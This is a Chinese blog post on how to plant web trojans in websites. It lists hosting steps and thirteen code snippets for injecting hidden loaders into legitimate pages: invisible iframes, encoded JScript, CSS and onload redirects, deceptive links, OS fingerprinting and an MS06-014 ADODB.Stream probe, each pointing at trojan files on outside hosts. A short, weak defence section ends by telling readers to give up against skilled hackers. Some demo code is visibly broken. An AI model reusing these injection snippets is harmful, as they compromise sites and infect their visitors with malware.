网页挂马的实现方式与防御手段

地球胖头鱼 2021-02-24
Web安全 发布于 2021-02-24 13:44:23 阅读 168 评论 0

简介

挂马,顾名思义就是把木马通过某些手段上传到网页上。或者是把木马传播出去,黑客入侵了一些网站之后,将自己编定的网页木马嵌入到其网站的页面(通常是在网站主页)中,利用该网站的流量将自己的网页木马传播出去从而达到自己的目的。

木马运行原理

最初的网页木马就是利用了IE浏览器的ActiveX控件,在运行网页木马的时候会弹出一个控件下载提示,只有经过用户确认后才会运行其中的木马。目前新型的木马通常利用IE浏览器存在的漏洞来传播网页木马。当然,现在浏览器不仅仅是指IE,还有很多其它的浏览器,例如:谷歌、百度、360、搜狗、QQ、火狐浏览器……等等。

网页挂马步骤

1、申请网站空间:将木马程序和网马全部上传到该网站空间,使其可以被访问,假如申请成功后的网站空间地址为http://www.xxx.com/xxx

2、上传木马程序:上传完成后木马的访问地址为http://www.xxx.com/horse.exe

3、使用网页木马生成器生成网马:假如生成后网马地址为http://www.xxx.com/horse.htm

4、进行挂马:将生成后的网马地址嵌入到其他正常的网站页面http://www.xxx.com/index.htm

实现方式

1、框架挂马

<iframe src=地址 width=0 height=0></iframe>

2、JS文件挂马

首先将以下代码:

document.write("<iframe width='0' height='0' src='地址'></iframe>");

保存为xxx.js。

则JS挂马代码为:

<script language=javascript src=xxx.js></script>

3、JS变形加密

<SCRIPT language="JScript.Encode" src=https://www.fujieace.com/muma.txt></script>

muma.txt可改成任意后缀;

4、body挂马

<body onload="window.location='地址';"></body>

5、隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="https://www.fujieace.com/muma.htm/"></iframe>';

6、css挂马

body {
background-image: url('javascript:document.write("<script src=https://www.fujieace.com/muma.js></script>")')}

7、JAJA挂马

<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

8、图片伪装

<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

9、伪装调用

<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

10、高级欺骗

<a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>

11、判断系统代码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>

12、判断是否有ms06014代码

<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=https://www.fujieace.com width=100% height=100% scrolling=no frameborder=0>")
end if
</script>

13、智能读取js的代码demo

//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"https://www.fujieace.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'https:\/\/www.fujieace.com\/demo.js\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;

防御

 第一招,黑客一般给你放马,都是通过工具来扫描你的程序漏洞,在你的网站上线之前,你就自己先用他们常用的工具自己扫描一下程序的安全问题。

  第二招,网站的后台管理路径地址要改,如果条件允许的情况下,还是要经常的改是最安全的。

  第三招,默认的数据库名字要改,而且要改的复杂,包括数据库的文件夹也要改,最好有条件的情况下,经常更改最好。

  第四招,后台的验证码最好启用,很多管理员怕登陆麻烦,一般好关掉这个功能,岂不知你在关掉他的时候,安全也在被你遗忘。

  第五招,会员的上传文件功能要严控,很多木马都是通过程序的这部分上传的。

  第六招,网站的主机管理帐户要经常的更改,有条件的朋友最好自己上一台属于自己的服务器,这样可以避免在一台服务器上面被别的网站建设的维护不当而影响自己的安全。

  第七招,如果上面的招数你都使用了,还是被挂马了,恭喜你,你中大奖了,遇到顶级黑客了,这个没有办法,既然是顶级黑客,他要搞你,你就认倒霉吧。

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!